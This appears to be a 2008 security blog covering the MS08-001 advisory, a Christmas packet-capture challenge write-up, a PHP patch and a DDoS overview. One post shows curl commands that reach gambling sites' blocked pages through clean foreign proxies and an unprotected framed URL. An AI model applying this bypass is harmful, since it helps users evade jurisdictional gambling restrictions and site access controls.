This critical security update resolves two privately reported vulnerabilities in Transmission Control Protocol/Internet Protocol (TCP/IP) processing. An attacker who successfully exploited this vulnerability could take complete control of an affected system. An attacker could then install programs; view, change, or delete data; or create new accounts with full user rights.

MS08-001 is broken down to CVE-2007-0066 and CVE-2007-0069, the former does not affect Windows Vista and the latter does not affect Windows 2000 SP4. The vulnerabilities were found by IBM X-Force, the Frequency X blog has additional information. But the recently started Microsoft Security Vulnerability Research & Defense blog does a better job disseminating the details. Quoting:
At the end, we probably should note that you might be wondering if we are releasing too much technical detail about this vulnerability, which somehow could help miscreants develop an attack. Please be assured that these details cannot be used to create an attack and that the security of customers is our primary concern.

Microsoft has gotten better with advisories and the MSVRD blog is a great initiative. Sharing in-depth technical information about vulnerabilities in your products is commendable.

Jan 9, 2008

Geolocation blocking

A couple of online gambling sites do geolocation blocking. Either because of regulations or they just want to cater to specific geographical locations. Some of them also do blacklisting right on their network appliances facing the Internet. Geolocation blocking is commonly done on the application layer, through the game client, web application exempli gratia 301,302 redirects.

A Philippines based online casino that does geolocation blocking on their web application is RUZUZ.XLN (domains are encrypted with the jewjitsu cipher). When accessing their registration page using a Philippines IP address you will be thrown an error saying that people in your jurisdiction are not allowed to register. Using a reliable chinese proxy the blocking can be bypassed since China is one of their target markets.

HYLYVG.XLN does it a bit different since they perform the geolocation blocking on layers 2-5 with what seems to be an Internet facing network appliance id est firewall. When connecting using a Philippines IP address you will be timed-out, but it can also be bypassed using a chinese proxy.

Then there is also the clever guys at XK919.XLN. I am not sure of the purpose of the geolocation blocking rather redirecting because they have a similar unblocked page at XK9198.MVG but of course the backend could be completely different and comparing the HTTP behavior/responses they are different hosts.

Accessing XK919.XLN:

$ curl -I http://xk919.xln   
HTTP/1.1 302 Found
Date: Tue, 08 Jan 2008 08:58:07 GMT
Server: Apache
Expires: Mon,26 Jul 1997 08:00:00 GMT
Last-Modified: Tue, 08 Jan 2008 08:58:07 GMT
Cache-control: no-cache,must-revalidate
Pragma: no-cache
location: http://www.google.com.tw
Connection: close
Content-Type: text/html

$ curl -I http://xk919.xln
HTTP/1.1 302 Found
Date: Tue, 08 Jan 2008 08:58:34 GMT
Server: Apache
Expires: Mon,26 Jul 1997 08:00:00 GMT
Last-Modified: Tue, 08 Jan 2008 08:58:34 GMT
Cache-control: no-cache,must-revalidate
Pragma: no-cache
location: http://www.pchome.com.tw
Connection: close
Content-Type: text/html

$ curl -I http://xk919.xln
HTTP/1.1 302 Found
Date: Tue, 08 Jan 2008 08:58:45 GMT
Server: Apache
Expires: Mon,26 Jul 1997 08:00:00 GMT
Last-Modified: Tue, 08 Jan 2008 08:58:45 GMT
Cache-control: no-cache,must-revalidate
Pragma: no-cache
location: http://www.hinet.net
Connection: close
Content-Type: text/html

Sweet, 302 redirects to random TW domains. Using a chinese proxy:
$ curl -I -x notsoleetblacklistedproxy.cn:8080 xk919.com
curl: (52) Empty reply from server
$ curl -I -x notsoleetblacklistedproxy.tw:8080 xk919.com
curl: (7) couldn't connect to host

The connection times out or I am sent a RST. Using other blacklisted proxy hosts I confirmed that they are using a blacklist (XBL etc.). Clever of them to block these drones and or blacklisted hosts, no legitimate connections come from them anyway. To bypass the blocking you need a fresh proxy located in an allowed jurisdiction and it also should not be blacklisted. Fortunately I have one for tricky times like this.
$ curl -x veryleetproxy.tw:8080 xk919.com
HTTP/1.1 200 OK
Date: Sun, 06 Jan 2008 04:05:29 GMT
Server: Apache
Expires: Mon,26 Jul 1997 08:00:00 GMT
Last-Modified: Sun, 06 Jan 2008 04:05:29 GMT
Cache-control: no-cache,must-revalidate
Pragma: no-cache
Content-Type: text/html
Proxy-Connection: Keep-Alive
Connection: Keep-Alive

<html>
<head>
<title>Welcome BOEING</title>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
</head>
<frameset rows="*,0" frameborder="NO" border="0" framespacing="0">
<frame name="mem_index" src="http://xk919.xln/app/member/">
<frame name="act" scrolling="NO" noresize src="">
</frameset>
<noframes>
<body bgcolor="#FFFFFF" text="#000000">
</body>
</noframes>
</html>

Bypassed. Also look at that, an interesting IFRAME.
curl -D - "http://xk919.xln/app/member/"
HTTP/1.1 200 OK
Date: Tue, 08 Jan 2008 09:41:20 GMT
Server: Apache
Expires: Mon,26 Jul 1997 08:00:00 GMT
Last-Modified: Tue, 08 Jan 2008 09:41:20 GMT
Cache-control: no-cache,must-revalidate
Pragma: no-cache
Set-Cookie: agNameCookie=deleted; expires=Mon, 08-Jan-2007 09:41:19 GMT
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html

<html>

<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>Welcome</title>
<script language="javascript">
<!--//

Yup. The geolocation redirect only happens in index.php, the URL inside the IFRAME is not protected. Complete bypass accomplished.

Jan 8, 2008

PHP 5.2.5 + thttpd 2.25b patch

Updated a PHP patch floating around for supporting thttpd, the tiny/turbo/throttling HTTP server. The patch applies thttpd 2.25b support to PHP 5.2.5 both latest at the time of this writing. After many years I still love this combination.

--- php-5.2.5/
+++ php-5.2.5-thttpd225b/

Get it: php-5.2.5-thttpd-2.25b.patch.

Jan 4, 2008

A Christmas Packet Challenge

Took up A Christmas Packet Challenge at the Internet Storm Center Handler's Diary. The challenge provides two pcap files for analysis. Here are my answers and analysis. Tools used are Tcpdump, Coreutils and Ruby.

If you do a dump of xmas_Start.pcap you will see a recurring payload in packets 2, 5, 8, 11, 14, 17, 20 and 23. The hex dump provided as a hint also contains the same payload.

$ tcpdump -c2 -qXr xmas_Start.pcap 
12:47:42.798056 IP 192.168.25.100.7337 > 192.168.25.128.1000: tcp 200
0x0000: 4500 00f0 87b3 0000 4006 3e20 c0a8 1964 E.......@.>....d
0x0010: c0a8 1980 1ca9 03e8 463d a8c0 02f5 7e62 ........F=....~b
0x0020: 5002 0200 4333 0000 5357 3467 6447 686c P...C3..SW4gdGhl
0x0030: 4947 3176 646d 6c6c 4945 4567 5132 6879 IG1vdmllIEEgQ2hy
0x0040: 6158 4e30 6257 467a 4945 4e68 636d 3973 aXN0bWFzIENhcm9s
0x0050: 4c43 426f 6233 6367 6257 4675 6553 4275 LCBob3cgbWFueSBu
0x0060: 6157 646f 6443 687a 4b53 426b 6157 5167 aWdodChzKSBkaWQg
0x0070: 6447 686c 4948 526f 636d 566c 4948 4e77 dGhlIHRocmVlIHNw
0x0080: 6158 4a70 6448 4d67 5932 3974 5a53 4230 aXJpdHMgY29tZSB0
0x0090: 6279 4232 6158 4e70 6444 383d 0000 0000 byB2aXNpdD8=....
0x00a0: 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x00b0: 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x00c0: 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x00d0: 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x00e0: 0000 0000 0000 0000 0000 0000 0000 0000 ................

If you have background in web application security or development, you will immediately recognize the encoding method used for the message. The = sign at the end of the payload is a dead giveaway. The message is base64 encoded.
$ tcpdump -c2 -qAr xmas_Starter.pcap  | tail -n1 | cut -c41- | base64 -di
In the movie A Christmas Carol, how many night(s) did the three spirits come to visit?

This is a trick question. There are several versions of this popular story. It will be misleading if you watched "Scrooge" (1951) where as far as I know the three ghosts only visited within a night, anyway it is titled "Scrooge" so it should not be considered. "A Christmas Carol" (1938) followed the originaly story closely where the ghosts visited three nights. My answer is 3.

Now let us move on to analyze xmas_challenge_2007.pcap. We can see that packet #3 also has a base64 encoded message.
$ tcpdump -c3 -qXr xmas_challenge_2007.pcap
13:13:17.274826 IP 192.168.25.100.7337 > 192.168.25.128.1000: tcp 100
0x0000: 4500 008c fbdd 0000 4006 ca59 c0a8 1964 E.......@..Y...d
0x0010: c0a8 1980 1ca9 03e8 63ee 8f61 6655 1db5 ........c..afU..
0x0020: 5002 0200 d73b 0000 5347 3933 4947 3168 P....;..SG93IG1h
0x0030: 626e 6b67 636d 5670 626d 526c 5a58 4967 bnkgcmVpbmRlZXIg
0x0040: 6348 5673 6243 4254 5957 3530 5953 647a cHVsbCBTYW50YSdz
0x0050: 4948 4e73 5a57 6c6e 6144 383d 0000 0000 IHNsZWlnaD8=....
0x0060: 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0070: 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0080: 0000 0000 0000 0000 0000 0000 ............
$ tcpdump -c3 -qAr xmas_challenge_2007.pcap | tail -n1 | cut -c41- | base64 -di
How many reindeer pull Santa's sleigh?

Answer can be 8 or 9 but the pcap does not have anything dissectable in packet 8. So I go for 9.
$ tcpdump -c9 -qXr xmas_challenge_2007.pcap
10:12:28.183217 IP 192.168.25.100.7337 > 192.168.25.128.1000: tcp 100
0x0000: 4500 008c 132d 0000 4006 b30a c0a8 1964 E....-..@......d
0x0010: c0a8 1980 1ca9 03e8 746f e083 19de 2edf ........to......
0x0020: 5002 0200 b4fc 0000 5347 3933 4947 3168 P.......SG93IG1h
0x0030: 626e 6b67 6347 6c77 5a58 4a7a 4948 4270 bnkgcGlwZXJzIHBp
0x0040: 6347 6c75 5a79 426b 6157 5167 6258 6b67 cGluZyBkaWQgbXkg
0x0050: 6448 4a31 5a53 4273 6233 5a6c 4947 6470 dHJ1ZSBsb3ZlIGdp
0x0060: 646d 5567 6447 3867 6257 552f 0000 0000 dmUgdG8gbWU/....
0x0070: 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0080: 0000 0000 0000 0000 0000 0000 ............
$ tcpdump -c9 -qAr xmas_challenge_2007.pcap | tail -n1 | cut -c41- | base64 -di
How many pipers piping did my true love give to me?

Answer is 11 based on the lyrics of "The Twelve Days of Christmas".
$ tcpdump -c11 -qXr xmas_challenge_2007.pcap
13:14:26.941309 IP 192.168.25.100.7337 > 192.168.25.128.1000: tcp 100
0x0000: 4500 008c 7808 0000 4006 4e2f c0a8 1964 E...x...@.N/...d
0x0010: c0a8 1980 1ca9 03e8 4f56 5867 6958 24f5 ........OVXgiX$.
0x0020: 5002 0200 00a6 0000 5347 3933 4947 3168 P.......SG93IG1h
0x0030: 626e 6b67 5a47 4635 6379 4270 6269 4230 bnkgZGF5cyBpbiB0
0x0040: 6147 5567 6332 3975 5a79 4230 6147 5567 aGUgc29uZyB0aGUg
0x0050: 5831 3966 4945 5268 6558 4d67 6232 5967 X19fIERheXMgb2Yg
0x0060: 5132 6879 6158 4e30 6257 467a 5077 3d3d Q2hyaXN0bWFzPw==
0x0070: 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0080: 0000 0000 0000 0000 0000 0000 ............
$ tcpdump -c11 -qAr xmas_challenge_2007.pcap | tail -n1 | cut -c41- | base64 -di
How many days in the song the ___ Days of Christmas?

Answer is "Twelve" or 12.
$ tcpdump -c12 -qXr xmas_challenge_2007.pcap
13:14:51.434820 IP 192.168.25.100.7337 > 192.168.25.128.1000: tcp 100
0x0000: 4500 008c 82d5 0000 4006 4362 c0a8 1964 E.......@.Cb...d
0x0010: c0a8 1980 1ca9 03e8 7bbb 7120 5035 56b6 ........{.q.P5V.
0x0020: 5002 0200 6a4b 0000 5432 5967 6447 686c P...jK..T2YgdGhl
0x0030: 4944 4d32 4e53 426b 5958 6c7a 4947 6c75 IDM2NSBkYXlzIGlu
0x0040: 4948 6c6c 5958 4973 4948 646f 5958 5167 IHllYXIsIHdoYXQg
0x0050: 626e 5674 596d 5679 4947 6c7a 4945 4e6f bnVtYmVyIGlzIENo
0x0060: 636d 6c7a 6447 3168 6379 4245 5958 6b2f cmlzdG1hcyBEYXk/
0x0070: 4941 3d3d 0000 0000 0000 0000 0000 0000 IA==............
0x0080: 0000 0000 0000 0000 0000 0000 ............
$ tcpdump -c12 -qAr xmas_challenge_2007.pcap | tail -n1 | cut -c41- | base64 -di
Of the 365 days in year, what number is Christmas Day?

Answer is 359.

Packet #359 has something different for us, again if you have web application development background you will immediately recognize the URL encoded space (%20). After examining the message, I found out that the numbers without a percent sign in front are decimal values of ASCII characters. Should be easy to convert using the common CHR function in scripting languages.

Looking at the adjoining packets up to packet #365 we can see similar strings.
13:22:51.836149 IP 192.168.25.100.7337 > 192.168.25.128.1000: tcp 100
0x0000: 4500 008c f0b4 0000 4006 d582 c0a8 1964 E.......@......d
0x0010: c0a8 1980 1ca9 03e8 3eae 483d 73c9 ff0c ........>.H=s...
0x0020: 507f 0200 942f 0000 3837 2532 3031 3031 P..../..87%20101
0x0030: 2532 304e 554c 4c25 3230 3131 3925 3230 %20NULL%20119%20
0x0040: 3130 3525 3230 3131 3525 3230 3130 3425 105%20115%20104%
0x0050: 3230 4e55 4c4c 2532 3031 3231 2532 3031 20NULL%20121%201
0x0060: 3131 2532 3031 3137 2532 304e 554c 4c25 11%20117%20NULL%
0x0070: 3230 3937 2532 304e 554c 4c25 3230 3737 2097%20NULL%2077
0x0080: 2532 3031 3031 2532 3031 3134 %20101%20114
13:22:52.830623 IP 192.168.25.100.7337 > 192.168.25.128.1000: tcp 100
0x0000: 4500 008c 1279 0000 4006 b3be c0a8 1964 E....y..@......d
0x0010: c0a8 1980 1ca9 03e8 4a7f 9007 2456 4dcf ........J...$VM.
0x0020: 507f 0200 ed73 0000 2532 3031 3134 2532 P....s..%20114%2
0x0030: 3031 3231 2532 304e 554c 4c25 3230 3637 0121%20NULL%2067
0x0040: 2532 3031 3034 2532 3031 3134 2532 3031 %20104%20114%201
0x0050: 3035 2532 3031 3135 2532 3031 3136 2532 05%20115%20116%2
0x0060: 3031 3039 2532 3039 3725 3230 3131 3525 0109%2097%20115%
0x0070: 3230 3434 2530 4425 3041 3837 2532 3031 2044%0D%0A87%201
0x0080: 3031 2532 304e 554c 4c25 3230 01%20NULL%20
13:22:53.830478 IP 192.168.25.100.7337 > 192.168.25.128.1000: tcp 100
0x0000: 4500 008c e1af 0000 4006 e487 c0a8 1964 E.......@......d
0x0010: c0a8 1980 1ca9 03e8 65bf a696 0f4f e5c7 ........e....O..
0x0020: 507f 0200 ba79 0000 3131 3925 3230 3130 P....y..119%2010
0x0030: 3525 3230 3131 3525 3230 3130 3425 3230 5%20115%20104%20
0x0040: 4e55 4c4c 2532 3031 3231 2532 3031 3131 NULL%20121%20111
0x0050: 2532 3031 3137 2532 304e 554c 4c25 3230 %20117%20NULL%20
0x0060: 3937 2532 304e 554c 4c25 3230 3737 2532 97%20NULL%2077%2
0x0070: 3031 3031 2532 3031 3134 2532 3031 3134 0101%20114%20114
0x0080: 2532 3031 3231 2532 304e 554c %20121%20NUL
13:22:54.830782 IP 192.168.25.100.7337 > 192.168.25.128.1000: tcp 100
0x0000: 4500 008c 122a 0000 4006 b40d c0a8 1964 E....*..@......d
0x0010: c0a8 1980 1ca9 03e8 095a 4219 2a3a 55ee .........ZB.*:U.
0x0020: 507f 0200 59ea 0000 4c25 3230 3637 2532 P...Y...L%2067%2
0x0030: 3031 3034 2532 3031 3134 2532 3031 3035 0104%20114%20105
0x0040: 2532 3031 3135 2532 3031 3136 2532 3031 %20115%20116%201
0x0050: 3039 2532 3039 3725 3230 3131 3525 3230 09%2097%20115%20
0x0060: 3434 2530 4425 3041 3837 2532 3031 3031 44%0D%0A87%20101
0x0070: 2532 304e 554c 4c25 3230 3131 3925 3230 %20NULL%20119%20
0x0080: 3130 3525 3230 3131 3525 3230 105%20115%20
13:22:55.831587 IP 192.168.25.100.7337 > 192.168.25.128.1000: tcp 100
0x0000: 4500 008c 8aa7 0000 4006 3b90 c0a8 1964 E.......@.;....d
0x0010: c0a8 1980 1ca9 03e8 7e22 3765 21d9 1d4e ........~"7e!..N
0x0020: 507f 0200 d40e 0000 3130 3425 3230 4e55 P.......104%20NU
0x0030: 4c4c 2532 3031 3231 2532 3031 3131 2532 LL%20121%20111%2
0x0040: 3031 3137 2532 304e 554c 4c25 3230 3937 0117%20NULL%2097
0x0050: 2532 304e 554c 4c25 3230 3737 2532 3031 %20NULL%2077%201
0x0060: 3031 2532 3031 3134 2532 3031 3134 2532 01%20114%20114%2
0x0070: 3031 3231 2532 304e 554c 4c25 3230 3637 0121%20NULL%2067
0x0080: 2532 3031 3034 2532 3031 3134 %20104%20114
13:22:56.830584 IP 192.168.25.100.7337 > 192.168.25.128.1000: tcp 100
0x0000: 4500 008c 26f4 0000 4006 9f43 c0a8 1964 E...&...@..C...d
0x0010: c0a8 1980 1ca9 03e8 251c 5084 63e7 5cb8 ........%.P.c.\.
0x0020: 507f 0200 f3e5 0000 2532 3031 3035 2532 P.......%20105%2
0x0030: 3031 3135 2532 3031 3136 2532 3031 3039 0115%20116%20109
0x0040: 2532 3039 3725 3230 3131 3525 3044 2530 %2097%20115%0D%0
0x0050: 4139 3725 3230 3131 3025 3230 3130 3025 A97%20110%20100%
0x0060: 3230 4e55 4c4c 2532 3039 3725 3230 4e55 20NULL%2097%20NU
0x0070: 4c4c 2532 3037 3225 3230 3937 2532 3031 LL%2072%2097%201
0x0080: 3132 2532 3031 3132 2532 3031 12%20112%201
13:22:57.830542 IP 192.168.25.100.7337 > 192.168.25.128.1000: tcp 100
0x0000: 4500 008c c07f 0000 4006 05b8 c0a8 1964 E.......@......d
0x0010: c0a8 1980 1ca9 03e8 02f9 f070 20e0 8819 ...........p....
0x0020: 507f 0200 34c3 0000 3231 2532 304e 554c P...4...21%20NUL
0x0030: 4c25 3230 3738 2532 3031 3031 2532 3031 L%2078%20101%201
0x0040: 3139 2532 304e 554c 4c25 3230 3839 2532 19%20NULL%2089%2
0x0050: 3031 3031 2532 3039 3725 3230 3131 3425 0101%2097%20114%
0x0060: 3230 3333 2532 3033 3325 3230 3333 0a00 2033%2033%2033..
0x0070: 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0080: 0000 0000 0000 0000 0000 0000 ............


PKT#359: 87%20101%20NULL%20119%20105%20115%20104%20NULL%20121%20111
%20117%20NULL%2097%20NULL%2077%20101%20114
PKT#360: %20114%20121%20NULL%2067%20104%20114%20105%20115%20116
%20109%2097%20115%2044%0D%0A87%20101%20NULL%20
PKT#361: 119%20105%20115%20104%20NULL%20121%20111%20117%20NULL%2097
%20NULL%2077%20101%20114%20114%20121%20NUL
PKT#362: L%2067%20104%20114%20105%20115%20116%20109%2097%20115
%2044%0D%0A87%20101%20NULL%20119%20105%20115%20
PKT#363: 104%20NULL%20121%20111%20117%20NULL%2097%20NULL%2077%20101
%20114%20114%20121%20NULL%2067%20104%20114
PKT#364: %20105%20115%20116%20109%2097%20115%0D%0A97%20110
%20100%20NULL%2097%20NULL%2072%2097%20112%20112%201
PKT#365: 21%20NULL%2078%20101%20119%20NULL%2089%20101%2097
%20114%2033%2033%2033


URL encoded space(%20) converted to a null character and NULL to a literal space (32). %0D%0A converted to decimal (13,10).
echo -n "87%20101%20NULL%20119%20105%20115%20104%20NULL%20121%20111%20117
%20NULL%2097%20NULL%2077%20101%20114%20114%20121%20NULL%2067%20104%20114
%20105%20115%20116%20109%2097%20115%2044%0D%0A87%20101%20NULL%20119%20105
%20115%20104%20NULL%20121%20111%20117%20NULL%2097%20NULL%2077%20101%20114
%20114%20121%20NULL%2067%20104%20114%20105%20115%20116%20109%2097%20115
%2044%0D%0A87%20101%20NULL%20119%20105%20115%20104%20NULL%20121%20111%20117
%20NULL%2097%20NULL%2077%20101%20114%20114%20121%20NULL%2067%20104%20114
%20105%20115%20116%20109%2097%20115%0D%0A97%20110%20100%20NULL%2097%20NULL
%2072%2097%20112%20112%20121%20NULL%2078%20101%20119%20NULL%2089%20101
%2097%20114%2033%2033%2033" \
| sed -e 's/%20/\n/g' -e 's/%0D%0A/\n13\n10\n /g' -e 's/NULL/32/g' \
| ruby -ne 'p $_.to_i.chr' \
| tr -d '"' \
| tr -d '\n' \
| sed 's/\\r\\n/\r\n/g'
We wish you a Merry Christmas,
We wish you a Merry Christmas,
We wish you a Merry Christmas
and a Happy New Year!!!

Per packet conversion:
PKT#359: We wish you a Mer
PKT#360: ry Christmas,\r\nWe
PKT#361: wish you a Merry
PKT#362: Christmas,\r\nWe wis
PKT#363: h you a Merry Chr
PKT#364: istmas\r\nand a Happ
PKT#365: y New Year!!!

The message from ISC handlers to everyone:
We wish you a Merry Christmas,
We wish you a Merry Christmas,
We wish you a Merry Christmas
and a Happy New Year!!!


ISC have not posted the results yet, I hope my Xmas trivia answers are correct.

Update(20080107): ISC released the answers. My answer to the "A Christmas Carol" question is wrong, partly because the challenge author did not know that there exist several movie adaptations. But my final answer is correct because even if the correct answer to the question is "1" the challenge will still have a pass at packet 3, coincidence?. ISC also lists my name along with other people who sent in correct solutions. Thanks to ISC for the challenge.

Happy New Year!

Jan 3, 2008

Online gambling security: DDoS

This is the follow-up to the previous online gambling security post.

Distributed Denial of Service attacks is one if not the greatest threat to the online gaming industry and other online businesses. Decreased uptime results to damaged reputation and lost revenue.

During the course of the attack, computing resources and bandwidth are overwhelmed with illegitimate requests. The attackers will likely contact the webmasters or whoever is deemed in-charge and demand for an amount/ransom for them to stop the attack, this is cyber-extortion. DDos is also a tool for competitive sabotage. Some online gambling entities initiate attacks on competitors to boost there own earnings by luring prospective players.

The "Distributed" in DDoS refers to the method wherein several machines ranging from hundreds to thousands of zombie nodes are used to do the actual attack. These network of zombie nodes or machines is referred to as a Botnet. A 5000-strong botnet can pump as much as 1Gb of network traffic and millions of PPS.

Nodes in a botnet are usually Windows machines installed with trojans and or infected by malware. These machines are under the control of the botnet master using a command and control (C&C) server-client system. Recent advancement in C&C techniques allowed the creation of networks without the classical malware infection. JavaScript with Flash and Web 2.0 provided criminals a new vector for C&C and to also increase malware infection rate. P2P communication also can be used for running the C&C.

Zombies are not limited to Windows machines. In December 2005, Prolexic staff spent the holiday season fighting a DDoS attack from Japan wherein the zombies are Linux servers with big bandwidth. The Linux machines were compromised through PHP web application vulnerabilities.

To combat the DDoS threat you have to work with your Internet provider. Before signing up inquire about their policy on DDoS attacks. There are companies like Prolexic that provides DDoS mitigation services. Prolexic first client was online sports bookie BetCris. The company came into existence largely through the work that was done to combat DDoS attacks on BetCris.

DIY mitigating is also possible if it is a small ~1Gb attack. On Linux you can do rate limiting, cleansing and tarpitting. OpenBSD can do rate limiting and cleansing. These capabilities are the ones built-in to the Prolexic, Arbor, Top Layer devices.

There are options besides paying up the ransom. Paying is dangerous because DDoS groups are not united, turf wars are common. If you get tipped paying, others will try to extort from you. Watch as the domino effect takes its toll.